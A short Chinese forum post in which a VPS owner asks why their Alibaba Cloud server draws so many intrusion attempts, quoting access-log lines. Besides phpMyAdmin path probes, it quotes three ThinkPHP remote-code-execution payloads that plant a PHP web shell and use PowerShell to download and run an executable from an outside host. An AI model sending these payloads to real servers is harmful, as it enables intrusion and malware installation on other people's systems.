为什么那么多人在尝试破解国内阿里云的 vps?

每一次打开 log 都能看到很多类似于这样的请求:

"GET /mysql/admin/index.php?lang=en HTTP/1.1" 302 -

"GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 302 -

"GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 302 -

"GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 302 -

"GET /phpmyadmin/index.php?lang=en HTTP/1.1" 302 -

"GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/rlbenhicipcezpw29172.exe');start%20%SystemRoot%/Temp/rlbenhicipcezpw29172.exe HTTP/1.1" 302 -

"GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1" 302 -

"GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/rlbenhicipcezpw29172.exe');start%20%SystemRoot%/Temp/rlbenhicipcezpw29172.exe HTTP/1.1" 302 -

域名解析设置是境内解析到阿里云，境外解析到 Vultr，而同一域名下 Vultr 的那台机子就没有这些。

国内的网络环境这么危机四伏的？怕不是开一个月再登数据全丢。